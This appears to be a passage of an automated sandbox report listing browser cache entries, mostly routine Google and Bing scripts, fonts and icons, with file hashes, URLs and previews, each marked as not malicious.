URL:	https://www.google.com/complete/search?q&cp=0&client=gws-wiz&xssi=t&gs_pcrt=2&hl=en&authuser=0&psi=DCqAZ6zwE72ki-gP7vLs4Qo.1736452622341&dpr=1&nolsbt=1
Preview:	)]}'.[[["ethel cain",46,[3,362,143],{"lm":[],"zf":33,"zh":"Ethel Cain","zi":"American singer-songwriter and record producer","zl":8,"zp":{"gs_ssp":"eJzj4tVP1zc0zDCpMCgqKTczYPTiSi3JSM1RSE7MzAMAb9UIaA"},"zs":"data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAkGBwgHBgkIBwgKCgkLDRYPDQwMDRsUFRAWIB0iIiAdHx8kKDQsJCYxJx8fLT0tMTU3Ojo6Iys/RD84QzQ5OjcBCgoKDQwNGg8PGjclHyU3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3N//AABEIAFAAUAMBIgACEQEDEQH/xAAbAAACAwEBAQAAAAAAAAAAAAAEBgMFBwECAP/EADgQAAICAQMCBAQEAwcFAAAAAAECAwQRAAUhEjEGE0FRFCJhcQcygbEzkaEVI1JicoKiFiRCwdH/xAAaAQACAwEBAAAAAAAAAAAAAAADBAECBQAG/8QAKhEAAQQBAwIEBwEAAAAAAAAAAQACAxEhBBIxBUEiUYGRMmFxkqHh8CP/2gAMAwEAAhEDEQA/AMfwca59NfemvjqqhHbDMsG7RO4Ur0uCGyAfkb21YWCkrZVycn8p1R1z02EP11a07NiCyJKeRKAcEKCRxz30CRvi3JiOTw7D5oy1SiporwXFklcfNEAwZfoc6JkEBqqzpJDKoCrFyQSfUnOu+Gtvfct7hWwksvzgsg5Z+dal44qbfNsfwyUBAYlDo6oCM45GR66A6sWUdlmy0LJHq7gK6CaUojZKqzdtR7Y5q2MPM0YIPKjq5xxxqwt9daFyV6o1P5WHp7jUW2zU+TOpXqUhWPI6s64/CpppIIOUfUhs/AlvJLRS/KJSvc

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3444)
Category:	downloaded
Size (bytes):	21279
Entropy (8bit):	5.410316142175443
Encrypted:	false
SSDEEP:
MD5:	365E47815594317DB90DA07C31C65DD7
SHA1:	102DFDB86DB75B856AC4FC5F1873B6F74FDF0A89
SHA-256:	A3DD9B7315ABBB87D8700B7FCC7BAE42F43CFCF671F4382C99691547C062FE52
SHA-512:	39FD68CBE8C84073CA9ECB7C1DD9A877280BAEA570653179FCA93CBDEA09A1D9A6CC02AE1F99A48ED29670AE045D9FF8F03C16CC6FBF01CF5E06D404EB8DA8FD
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/_/mss/boq-one-google/_/js/k=boq-one-google.OneGoogleWidgetUi.en.HqBC0LaFZR4.es5.O/ck=boq-one-google.OneGoogleWidgetUi.ILLuTIT6g-Y.L.B1.O/am=gBgMuA0/d=1/exm=A7fCU,BVgquf,EFQ78c,FCpbqb,GkRiKb,IZT63,JNoxi,KUM7Z,L1AAkb,LEikZe,MI6k7c,MdUzUe,MpJwZc,NwH0H,O1Gjze,O6y8ed,OTA3Ae,PrPYRd,QIhFr,RMhBfe,SdcwHb,SpsfSb,UUJqVe,Uas9Hd,Ulmmrd,V3dDOb,WhJNk,Wt6vjf,XVMNvd,Z5uLle,ZDZcre,ZwDk9d,_b,_tp,aW3pY,byfTOb,e5qFLc,gychg,hKSk3e,hc6Ubd,hhhU8,kjKdXe,lazG7b,lsjVmc,lwddkf,mI3LFb,mdR7q,n73qwf,pjICDe,pw70Gc,s39S4,w9hDv,wmnU7d,ws9Tlc,xQtZb,xUdipf,yYB61,zbML3c,zr1jrb/excm=_b,_tp,calloutview/ed=1/wt=2/ujg=1/rs=AM-SdHtiKss4OY6wamTrKD3r-dRd4jm9iw/ee=EVNhjf:pw70Gc;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:SdcwHb;Me32dd:MEeYgc;NPKaK:SdcwHb;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;Uvc8o:VDovNc;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:QIhFr;lOO0Vd:OTA3Ae;nAFL3:s39S4;oGtAuc:sOXFj;pXdRYb:MdUzUe;qafBPd:yDVVkb;qddgKe:xQtZb;wR5FRb:O1Gjze;xqZiqf:wmnU7d;yxTchf:KUM7Z;zxnPse:GkRiKb/m=p3hmRc,LvGhrf,RqjULd"
Preview:	"use strict";this.default_OneGoogleWidgetUi=this.default_OneGoogleWidgetUi\|\|{};(function(_){var window=this;.try{.var gG;._.iG=function(){var a=gG(_.Se("xwAfE"),function(){return _.Se("UUFaWc")}),b=gG(_.Se("xnI9P"),function(){return _.Se("u4g7r")}),c,d,e,f;return(f=hG)!=null?f:hG=Object.freeze({isEnabled:function(g){return g===-1\|\|_.Rf(_.Se("iCzhFc"),!1)?!1:a.enabled\|\|b.enabled},Fg:(c=_.Pm(_.Se("y2FhP")))!=null?c:void 0,Hr:(d=_.Pm(_.Se("MUE6Ne")))!=null?d:void 0,zg:(e=_.Pm(_.Se("cfb2h")))!=null?e:void 0,Cf:_.Rm(_.Se("yFnxrf"),-1),Kw:_.Vm(_.Se("fPDxwd")).map(function(g){return _.Rm(g,0)}).filter(function(g){return g>0}),.Yz:a,Jz:b})};gG=function(a,b){a=_.Rf(a,!1);return{enabled:a,Mj:a?_.ae(_.Sm(b(),_.jG)):Nia()}};_.jG=function(a){this.ua=_.x(a)};_.D(_.jG,_.B);var Nia=function(a){return function(){return _.Gd(a)}}(_.jG);var hG;._.n("p3hmRc");.var Zia=function(a){a.v=!0;return a},$ia=function(a,b,c,d){this.transport=a;this.j=b;this.l=c;this.Fg=d;this.o=Number(Date.now()).toString(36)+Math

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	downloaded
Size (bytes):	1150
Entropy (8bit):	2.3031661149070852
Encrypted:	false
SSDEEP:
MD5:	91ABE01116AB422C598E9C8AF72CF4DA
SHA1:	0F2815FE8E067D48537AD168225AB4674271FA27
SHA-256:	B1D7AEF06456FE7431124129A28F0138BB5FCCFA4F4161E3087DE23C005E5EDC
SHA-512:	A4D5B20C3014153B6B382C43404917BD2CB5BD2A59BB1E981F5A19EB7DBDEC185ACE288E9700428D24E5AC623E45D04905E706F0C45A1642B1AA6C091213C23C
Malicious:	false
Reputation:	unknown
URL:	https://fly.asssing.shop/favicon.ico
Preview:	............ .h.......(....... ..... .............................................................................................................H.?8........................................................I.@.I.A.H.Ai................................................I.@.I.A.I.A.I.A.H.Ai........................................I.@.I.A.I.A.I.A.I.A.I.A.H.Ai................................I.@.I.A.I.A.I.A.I.A.I.A.I.A.I.A.H.Ai........................I.@.I.A.I.A.I.A.I.?.I.A.I.A.I.A.I.A.I.A.H.Ai....................I.AyI.A.I.A.I.?.G.@K....I.AeI.A.I.A.I.A.I.A.H.Ai....................H.@{I.?.G.@K............I.AeI.A.I.A.I.A.I.A.H.Ai....................F.?$....................I.AeI.A.I.A.I.A.I.A.H.Ai............................................I.AeI.A.I.A.I.A.I.A.H.Ai............................................I.AeI.A.I.A.I.A.I.A.H.Ai............................................I.AeI.A.I.A.I.A.H.A.................................................I.AeI.A.H.A...............................................

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	2798
Entropy (8bit):	7.911574181823772
Encrypted:	false
SSDEEP:
MD5:	E3A7592D705BF714A7351695A0A0570C
SHA1:	7C749381E35393DE6C98D650618D33F5C79E6480
SHA-256:	CDC84925C83AE11FD897541F8BC31F02C34CDA1CA0C3A2331A55967C5FD3CF52
SHA-512:	B79B49834C2D5BB4B0380A98728544C0D085AABBF4C2B2D612536D5119C63B706B7A3B23E7A2CB3FBBF4B0AFE2F1B627C5AE966BF3CC5D8F5C1003D4570BCB54
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/logos/doodles/2025/president-jimmy-carter-6753651837110135.4-l.webp
Preview:	RIFF....WEBPVP8L..../..1..'.L.O.q.h...$t..7Z.=.mE..w..w'........]kX)..uw!...)...%...o...ap.,......?..i.O.........4...?..i.O.......p.A....c..a.Jdt...w...O..l...'./+..T..:KI..d.x.7...n.R...>..F4..0..w=Y0i....F.......v..e..9F....8D...d.K./.K....N..4i_..N........o..NP.'..tUM.VZ..Z.7.......4#;$3M.P.......e.t.5....z..w..d.D..NP]b...f...-p."Y.`.g.....{.61..(q..Sv....).#n}8e.8[...3..1.....gF..c......-7`..?.....GSZe.D..3v...r..C.z..D..KO..\.m...)"C.....;...{...e.9U_.%.....L...>..g..5..$b.\..@...)....q..U.ak...v../.Kg ...Y_...K..l..G...j."..el......$\|...h.M\ .x.$.v.....u$;.f..`.y-..G.[e..N.g... .s.oX..e.>..V.'f...P2.gV..w.h'.-$......H>(..j.x.#..e......U-.......h...=m.F3.C\|n..:.Yd...F.x2.U.(.,?2\|.F.c..[G.'+.v..-....A....,o)i.H..-......$......c.\eK.El.R1ov..S...\|.1..62.H...z...d...........P.e......^@..#Ns....".\|..+...u.OXT.....C.w9.Vs"X.[@].C..!..Q`.Hd..M..?...........a...Es........S-$."..'Z..._.......vi2#$..w.....9T_1........9..D..n.@b......Kv..#"c..

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (32994)
Category:	downloaded
Size (bytes):	49537
Entropy (8bit):	5.802711272869946
Encrypted:	false
SSDEEP:
MD5:	5C11451A4C655F2A80BF6C8CCFC30B56
SHA1:	A4518C8D688D0E78B42913F59537A916B7050304
SHA-256:	7E41A0CE655B81F7AC83B7C943C52F0AD129A847DE1683DAF11E480C51351207
SHA-512:	64AFF79D0FEA7DDDA2429BA791A4A5F5009F3AA2F16DB6161ED40703E6620F86B84FA190E605F0E9B7D9428F8AD513C32981E28659FD4470FFB225DEB00C714C
Malicious:	false
Reputation:	unknown
URL:	https://ogs.google.com/widget/callout?prid=19040333&pgid=19037049&puid=86ee7442362823ae&eom=1&cce=1&dc=1&origin=https%3A%2F%2Fwww.google.com&cn=callout&pid=1&spid=538&hl=en
Preview:	<!doctype html><html lang="en" dir="ltr"><head><base href="https://ogs.google.com/"><link rel="preconnect" href="//www.gstatic.com"><meta name="referrer" content="origin"><link rel="canonical" href="https://ogs.google.com/widget/callout"><link rel="preconnect" href="https://www.gstatic.com"><link rel="preconnect" href="https://ssl.gstatic.com"><script data-id="_gd" nonce="Qmdjh6Yd3g4C1pOWNYUQbA">window.WIZ_global_data = {"DpimGf":false,"EP1ykd":["/_/*"],"FdrFJe":"-2057410094833338743","Im6cmf":"/_/OneGoogleWidgetUi","LVIXXb":1,"LoQv7e":true,"MT7f9b":[],"MUE6Ne":"OneGoogleWidgetUi","NrSucd":false,"OwAJ6e":false,"QrtxK":"","Rf2tsb":0,"S06Grb":"","S6lZl":128566913,"TSDtV":"%.@.[[null,[[45459555,null,false,null,null,null,\"Imeoqb\"]],\"CAMSEx0W99WlEMaAmxAKpqUGCrOcDQo\\u003d\"]]]","UUFaWc":"%.@.null,1000,2]","Vvafkd":false,"Yllh3e":"%.@.1736452624394311,151691233,2734966290]","ZwjLXe":538,"cfb2h":"boq_onegooglehttpserver_20250104.08_p0","eptZe":"/_/OneGoogleWidgetUi/","fPDxwd":[48802160,974

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1212)
Category:	downloaded
Size (bytes):	381815
Entropy (8bit):	5.580500477478901
Encrypted:	false
SSDEEP:
MD5:	EDDA173D6FC9116C2419B4838AA19A8B
SHA1:	0F5E231F751FF3699189195DB4B28E7AE7B64107
SHA-256:	FBB5184AA721D9798ABA67CB59FDEEA2B99B26D6B2C3026B76EC45CE97E97C69
SHA-512:	D79ECCF189AB0EE4630C638331C2F11BEADA26FDA74B0C6E1EE75C6540EF99264AC7208D9C319F17B4F7AA1E90CFD5592FC40EBAA186910DCFFDAD73331EE085
Malicious:	false
Reputation:	unknown
URL:	"https://www.google.com/xjs/_/js/k=xjs.hd.en_US.yED1bQmop1c.es5.O/ck=xjs.hd.PR8sssJj8cQ.L.B1.O/am=CEgVAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAEHQnAACYAMAOAAIAAAIAAwBAEIAgCAAAAQiAACwEAMCCAwAJAAAHAAJAAOBRpsAKEAEE5ACAEoBEkD8AQAEhABAAgAAgwKAhEBVAKAAQAAQAAAAAiAAAAAwJIBAAoAMgAAwAUQAAhB4IAAAAACAIIKCdAWAYGIAAAAAAAABADwDBAzCksAAAAAAAAAAAAAAAACBAgmAuJKAgAAEAAAAAAAAAAAAAAAAAINLEhQ0/d=0/dg=0/br=1/ujg=1/rs=ACT90oEWoqIFLneE67tRT2oTVrFsEur5mw/m=sb_wiz,aa,abd,U9EYge,sy18l,sys3,syrw,syru,syrv,syrx,sys4,sys5,sys0,syrz,syfe,syry,syro,syrn,syrp,syri,syrd,syqz,syrr,sy17g,sysf,sy18j,syzc,syse,syrb,sysd,async,syv8,ifl,pHXghd,sf,sysv,sy3np,sonic,sy3nv,sy1d6,sy19h,sy19d,syqy,syqx,syqw,syqv,sy3n7,sy3na,sy2a1,syr7,syqr,syep,syaf,sy9x,sy9y,sy9w,sy9t,spch,syts,sytr,rtH1bd,sy1ak,sy167,sy15u,sy133,sydt,sy1ai,EiD4Fe,SMquOb,sy81,sy80,syfs,syg3,syg1,syg0,syfr,syfp,syfn,sy8n,sy8k,sy8m,syfm,syfq,syfl,syc3,sybw,sybz,sybk,sybb,sybl,sybr,syb7,sybq,sybj,sybg,syb3,syb2,syb1,syb0,syao,syay,syb5,sybm,syai,syae,sya9,syaj,syaq,syas,syat,syb8,syax,syba,syau,syc6,syak,syc5,sya1,sya4,syah,syan,sybn,syfk,syfj,syfg,syff,sy8q,uxMpU,syf8,syce,sycb,syc7,sybe,syc9,syc4,sy95,sy94,sy93,sy92,Mlhmy,QGR0gd,OTA3Ae,sy82,EEDORb,PoEs9b,Pjplud,sy8z,A1yn5d,YIZmRd,uY49fb,sy7q,sy7m,sy7p,sy7o,sy7n,byfTOb,lsjVmc,LEikZe,kWgXee,ovKuLd,sgY6Zb,sy9f,sy9d,sy8p,xUdipf,NwH0H,gychg,ZfAoz,yDVVkb,qafBPd,ebZ3mb,dowIGb,sy1ao,sy1al,syy8,sytx,d5EhJe,sy1b7,fCxEDd,syvd,sy1b6,sy1b5,sy1b4,sy1aw,sy1au,sy1at,sy1ay,sy188,sy182,syvm,syxw,syxv,T1HOxc,sy1av,sy1as,zx30Y,sy1b9,sy1b8,sy1b0,sy170?xjs=s3"
Preview:	this._hd=this._hd\|\|{};(function(_){var window=this;.try{._.y("sb_wiz");.._.z();.}catch(e){_._DumpException(e)}.try{._.y("aa");.._.z();.}catch(e){_._DumpException(e)}.try{._.y("abd");.var $ei=function(a){for(var b="",c=21,d=0;d<a.length;d++)d%4!=3&&(b+=String.fromCharCode(a[d]^c),c++);return b},afi=function(a){var b=0,c;for(c in a)if(a[c].e)if(a[c].b)b++;else return!1;return b>0},ffi=function(a){a=a===void 0?{}:a;var b={};b[bfi]={e:!!a[bfi],b:!_.v_b(cfi)};b[dfi]={e:!!a[dfi],b:!_.v_b(efi)};return b},gfi=function(a){var b=[],c;for(c in a)a[c].e&&b.push(c+":"+(a[c].b?"1":"0"));return b.join(",")},ifi=function(a,b){a=String(a);b&&(a+=","+b);google.log(hfi,a)},jfi=function(a,b,c){c=.c===void 0?2:c;if(c<1)ifi(7,b);else{var d=new Image;d.onerror=function(){jfi(a,b,c-1)};d.src=a}},cfi=$ei([97,119,115,111,107]),efi=$ei([97,119,115,111,107,123]),kfi=$ei([118,115,121,107,108,124,104,119,68,127,114,105,114]),hfi=$ei([101,126,118,102,118,125,118,109,126]),lfi=$ei([116,116,115,108]),bfi=$ei([113,115,

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 52280, version 1.0
Category:	downloaded
Size (bytes):	52280
Entropy (8bit):	7.995413196679271
Encrypted:	true
SSDEEP:
MD5:	F61F0D4D0F968D5BBA39A84C76277E1A
SHA1:	AA3693EA140ECA418B4B2A30F6A68F6F43B4BEB2
SHA-256:	57147F08949ABABE7DEEF611435AE418475A693E3823769A25C2A39B6EAD9CCC
SHA-512:	6C3BD90F709BCF9151C9ED9FFEA55C4F6883E7FDA2A4E26BF018C83FE1CFBE4F4AA0DB080D6D024070D53B2257472C399C8AC44EEFD38B9445640EFA85D5C487
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/googlesans/v58/4UaRrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iq2vgCI.woff2
Preview:	wOF2.......8.....................................^...$..4?HVAR..?MVAR9.`?STAT.',..J/.......`..(..Z.0..R.6.$.... .....K..[..q..c..T.....>.P.j.`.w..#...%......N.".....$..3.0.6......... .L.rX/r[j.y.\|(.4.%#.....2.v.m..-..%.....;-.Y.{..&..O=#l@...k..7g..ZI...#.Z./+T..r7...M..3).Z%.x....s..sL..[A!.51w'/.8V..2Z..%.X.h.o.).]..9..Q`.$.....7..kZ.~O........d..g.n.d.Rw+&....Cz..uy#..fz,(.J....v.%..`..9.....h...?O..:...c%.....6s....xl..#...5..._......1.>.)"U.4 W....?%......6//!$...!.n9C@n...........!""^.....W..Z<.7.x.."UT.T....E.."R>.R..t.....H d..e_.K../.+8.Q.P.ZQ....;...U....]......._.e......71.?.7.ORv.?...l...G\|.P...\|:...I.X..2.,.L........d.g.]}W#uW]QnuP-s.;.-Y.....].......C..j_.M0...y.......J..........NY..@A...,....-.F......'..w./j5g.vUS...U..0.&...y7.LP.....%.....Y......Y..D. e.A..G.?.$.......6...eaK.n5.m...N...,...+BCl..L> .E9~.b[.w.x....6<...}.e...%V....O.......*.?...a..#[eE.4..p..$...].....%......o._......N.._~..El....b..A.0.r8.....\|..D.d..

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (569), with CRLF line terminators
Category:	downloaded
Size (bytes):	2290
Entropy (8bit):	5.384291620042785
Encrypted:	false
SSDEEP:
MD5:	02B1503C4559C7544DEC67D09EB434EC
SHA1:	60E397644A282BCA15DF602DE34918323DABEEAE
SHA-256:	06A902212F4D087CFFA1844078780A6538F86A3EE7545070CF98368B06BA25A0
SHA-512:	034B6D53C192C06DC0FEED585E6B37281D7EE90796277B4E3A9EC0F6A9DAF811D2C77E19E6CAB53CBE354839FFD352FA6570E0CF9AD1C20EE5A2FDF0E73F8C6C
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/ck/a?!&&p=3c39a9f42e445bf68e8df296bb1fae53d0c972b7afa34ab05d6ca3737dc8872cJmltdHM9MTczNjM4MDgwMA&ptn=3&ver=2&hsh=4&fclid=2ffa23fd-270b-62aa-06ef-300e230b6c77&u=a1aHR0cHM6Ly93d3cuYmluZy5jb20vYWxpbmsvbGluaz91cmw9aHR0cHMlM2ElMmYlMmZ3d3cuYWxwaGFzdXJhbmNlLmNvbSUyZiZzb3VyY2U9c2VycC1sb2NhbCZoPUE1Z0FJY1RpY2tXbGRHJTJidFFwJTJmY0dnQ3Z3Tmg4UmZjRXBwQmdUTGlNOEtNJTNkJnA9bHdfdHAmaWc9QTlFRTIyOTNCQzJGNDgyMDlGMTkyNEFBOUQ4MTUyNkYmeXBpZD1ZTjg3M3gxNzg2NjcxMDE2NTE1NDQyOTA3NA&ntb=1
Preview:	<!DOCTYPE html>..<html lang="en">.. <head>.. <meta charset="utf-8">.. <meta name="referrer" content="origin-when-cross-origin">.. <script>//<![CDATA[.. var s = false;.. function l() {.. setTimeout(f, 10000);.. if (document.referrer) {.. try {.. var pm = /(^\|&\|\?)px=([^&]*)(&\|$)/i;.. var px = window.location.href.match(pm);.. var rs = document.referrer;.. if (px != null) {.. if (rs.match(pm)).. rs = rs.replace(pm, "$1px=" + px[2] + "$3");.. else if (rs.indexOf("?") != -1).. rs = rs + "&px=" + px[2];.. else.. rs = rs + "?px=" + px[2];.. }.. history.replaceState({}, "Bing", rs);.. window.addEventListener("pageshow", function(e) { if (e.persisted \|\| (typeof window.performance != "undefined" && window.performance.navigation.type === 2)) window.location.reload(); });.. s = true;..

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (731)
Category:	dropped
Size (bytes):	208038
Entropy (8bit):	5.477460974184946
Encrypted:	false
SSDEEP:
MD5:	2E0850AF4069C3B95535FF46412F219E
SHA1:	7FC6084D85324B48EE4B550E453E0C0C8CBADC7C
SHA-256:	74FE4E34CAA9A36B022D3DE359304E3DB91718F8C93EA1CC6C933E2E170BB988
SHA-512:	492D00E35DEF8245547411025690E36DFD497D05722BEEDEE297A06617C329BE032CD57E9BE402ED1D726A03C6FE60BAF8C912593352F9E22ADF3EF69F692A7B
Malicious:	false
Reputation:	unknown
Preview:	"use strict";this.default_OneGoogleWidgetUi=this.default_OneGoogleWidgetUi\|\|{};(function(_){var window=this;.try{._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x380c1880, 0x36, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. SPDX-License-Identifier: Apache-2.0././.. Copyright 2024 Google, Inc. SPDX-License-Identifier: MIT./.var ia,aaa,Ha,baa,Ka,cb,sb,eaa,Mb,Rb,Sb,Tb,Ub,Vb,Wb,Xb,$b,faa,gaa,bc,dc,lc,pc,haa,xc,Ac,Bc,Gc,Pc,Qc,Mc,Nc,Vc,Yc,ed,fd,Zc,jd,md,naa,Cd,Dd,Ed,paa,Kd,qaa,Od,raa,saa,taa,Ud,uaa,be,Je,Ve,Te,We,y,hf,pf,sf,Df,zaa,Aaa,Baa,Caa,If,Mf,Eaa,Faa,Gaa,Haa,Iaa,Jaa,lg,Kaa,Laa,Maa,Jg,Raa,Paa,Xg,Vaa,bh,eh,Xaa,Yaa,gh,vh,bba,cba,Ah,dba,Mh,fba,Qh,gba,hba,ci,di,ei,iba,jba,hi,lba,mba,ki,li,rba,tba,uba,pi,wba,xba,yba,zba,Aba,Cba,Dba,Eba,Gba,Hba,aa,Gi,Hi,Iba,Ji,Lba

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10109), with no line terminators
Category:	downloaded
Size (bytes):	10109
Entropy (8bit):	5.303548249312523
Encrypted:	false
SSDEEP:
MD5:	C81327CE05F2739305F61E83A6C05446
SHA1:	AB2C67BAF219EE7730269E652B894D9D337B1D5D
SHA-256:	7637C8A763E6F90772BB18F15A4EF50B1978313BECE75FB07B900CAD56D49979
SHA-512:	99F034CF708B8E130D5F4819B78CCECFC7D2E646E26B37A3377FC62C7BBA29BEA45C1ABE7D9520E11FB98B36D2E44BB9A32EF53332B00875CA6F143E163A2308
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.CEsjJf2wziM.L.W.O/m=qcwid,d_b_gm3,d_wi_gm3,d_lo_gm3/excm=qaaw,qadd,qaid,qein,qhaw,qhba,qhbr,qhch,qhga,qhid,qhin/d=1/ed=1/ct=zgms/rs=AA2YrTvDtorsWuiBHYzP5-lS7pwgoAa95g"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (14393)
Category:	downloaded
Size (bytes):	210627
Entropy (8bit):	5.879203521281632
Encrypted:	false
SSDEEP:
MD5:	11E3850484E84AA7BC96A711DCE8E2AA
SHA1:	C710DA5C8FD5BBB4563B7DCFCD90DE54859E0A75
SHA-256:	A7238D2DF64312E26B25AA026E0644E816E3DC30C253102C0089E26EA057EA5F
SHA-512:	5C9FDFF995907FC4346CE8441C557E3AF9AAE02A87AD57B48668C3118EAEB127AB637E610192CBE5180D294CB4F9DC11821F5D8C9244149104A60E50CAB0F030
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/
Preview:	<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title><script nonce="NzXed09nle107qxnTDzm0A">window._hst=Date.now();</script><script nonce="NzXed09nle107qxnTDzm0A">(function(){var _g={kEI:'DCqAZ6zwE72ki-gP7vLs4Qo',kEXPI:'31',kBL:'9W_N',kOPI:89978449};(function(){var a;((a=window.google)==null?0:a.stvsc)?google.kEI=_g.kEI:window.google=_g;}).call(this);})();(function(){google.sn='webhp';google.kHL='en';})();(function(){.var g=this\|\|self;function k(){return window.google&&window.google.kOPI\|\|null};var l,m=[];function n(a){for(var b;a&&(!a.getAttribute\|\|!(b=a.getAttribute("eid")));)a=a.parentNode;return b\|\|l}function p(a){for(var b=null;a&&(!a.getAttribute\|\|!(b=a.getAttribute("leid")));)a=a.parentNode;return b}function q(a){/^http:/i.test(a)&&window.location.protocol==="https:"&&(goo

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.6534652184263736
Encrypted:	false
SSDEEP:
MD5:	F3418A443E7D841097C714D69EC4BCB8
SHA1:	49263695F6B0CDD72F45CF1B775E660FDC36C606
SHA-256:	6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
SHA-512:	82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
Malicious:	false
Reputation:	unknown
Preview:	............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2340)
Category:	dropped
Size (bytes):	2345
Entropy (8bit):	5.800857505850351
Encrypted:	false
SSDEEP:
MD5:	0CF79DDBC919897FCF6D1AEE53DB14ED
SHA1:	2529088F5F7FD9868139CA646558680817D364FD
SHA-256:	A70A94F6724FA0D79485417002FDD2B87AC3CB48E17E61C59FB4BEF0CF1487FD
SHA-512:	0A48EEE1973F939A75D94EE3BD509A747EA9FF9BF04C457EBC65730069D7AABEC06A321ACE16D9843BF3E55AA60A016B86A369966280A618B7AC1C28B44C5F8B
Malicious:	false
Reputation:	unknown
